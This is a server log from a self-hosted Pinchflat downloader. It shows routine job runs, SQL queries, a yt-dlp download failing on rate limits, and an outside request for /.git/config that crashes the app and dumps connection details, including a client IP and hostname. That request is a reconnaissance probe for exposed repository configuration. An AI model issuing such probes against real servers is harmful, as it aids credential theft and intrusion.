16:05:00.341 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:05:20.848 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:50.849 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:00.342 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:06:20.850 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:50.851 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:00.343 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:07:20.853 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:39.982 [info] {"args":{"id":150},"id":117,"meta":{},"system_time":1784923659982694475,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 16:07:39.983 [debug] QUERY OK source="media_items" db=0.2ms idle=1200.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [150] 16:07:39.983 [info] User scripts lifecyle file either not present or is empty. Skipping. 16:07:39.983 [debug] QUERY OK source="sources" db=0.1ms idle=1200.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 16:07:39.983 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1200.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:39.984 [debug] QUERY OK source="media_items" db=0.2ms idle=120.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [150] 16:07:39.984 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [150] 16:07:39.984 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:39.985 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:39.985 [debug] Running yt-dlp command for action: get_downloadable_status 16:07:39.985 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:39.985 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:39.985 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:39.985 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KYm3sSd_4Ts --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/96/4b/964bc6d54c2389a747ec64f162e98e1d8c61d618baa7d2011b311444eab965b1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:07:42.104 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KYm3sSd_4Ts --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/96/4b/964bc6d54c2389a747ec64f162e98e1d8c61d618baa7d2011b311444eab965b1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 16:07:42.105 [debug] Running yt-dlp command for action: download 16:07:42.105 [debug] QUERY OK source="settings" db=0.2ms idle=242.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:42.105 [debug] QUERY OK source="settings" db=0.1ms idle=242.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:42.106 [debug] QUERY OK source="settings" db=0.1ms idle=243.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:42.106 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KYm3sSd_4Ts --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Grift/Grift/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Grift/Grift/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/40/f2/40f24e5455eeee1b3a0f5ea73de9c95488a7c4eeeeb7c2e9be057e549a8d223e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:07:44.818 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KYm3sSd_4Ts --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Grift/Grift/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Grift/Grift/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/40/f2/40f24e5455eeee1b3a0f5ea73de9c95488a7c4eeeeb7c2e9be057e549a8d223e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 16:07:44.819 [error] yt-dlp download error for media item #150: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 16:07:44.986 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":150},"id":117,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4836799,"event":"job:exception","queue_time":1047674,"attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 16:07:50.375 [info] GET / 16:07:50.376 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 16:07:50.376 [debug] QUERY OK source="settings" db=0.1ms idle=1513.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:50.376 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1369.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 16:07:50.376 [debug] QUERY OK source="sources" db=0.0ms idle=513.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 16:07:50.376 [debug] QUERY OK source="media_items" db=0.1ms idle=513.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:07:50.377 [debug] QUERY OK source="media_items" db=0.0ms idle=369.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:07:50.377 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:50.377 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:50.377 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:50.378 [debug] QUERY OK source="tasks" db=0.1ms idle=1.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:07:50.378 [debug] QUERY OK source="sources" db=0.1ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 16:07:50.379 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:07:50.379 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:07:50.380 [debug] QUERY OK source="sources" db=0.1ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 1] 16:07:50.381 [debug] QUERY OK source="media_items" db=0.1ms idle=2.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 16:07:50.381 [debug] QUERY OK source="media_items" db=0.3ms idle=2.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:07:50.382 [debug] QUERY OK source="sources" db=0.0ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 16:07:50.383 [info] Sent 200 in 7ms 16:07:50.855 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:00.344 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:08:20.856 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:50.857 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:00.344 [info] {"source":"oban","duration":193,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:09:20.858 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:50.859 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:00.346 [info] {"source":"oban","duration":242,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:10:20.860 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:50.862 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:00.347 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:11:20.863 [info] {"source":"oban","duration":1133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:50.865 [info] {"source":"oban","duration":837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:00.348 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:12:20.866 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:50.867 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:53.863 [info] GET /.git/config 16:12:53.864 [debug] QUERY OK source="settings" db=0.6ms idle=1001.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:12:53.865 [debug] QUERY OK source="settings" db=0.4ms idle=1002.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:12:53.866 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:12:53.866 [error] #PID<0.4269.0> running PinchflatWeb.Endpoint (connection #PID<0.4268.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4268.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 53734}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "x-forwarded-for" => "82.39.212.241", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4269.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36"}, {"x-forwarded-for", "82.39.212.241"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVS5bU3rmxIkgYAAY0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4268.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 53734}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "x-forwarded-for" => "82.39.212.241", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4268.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 53734}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "x-forwarded-for" => "82.39.212.241", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4269.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, 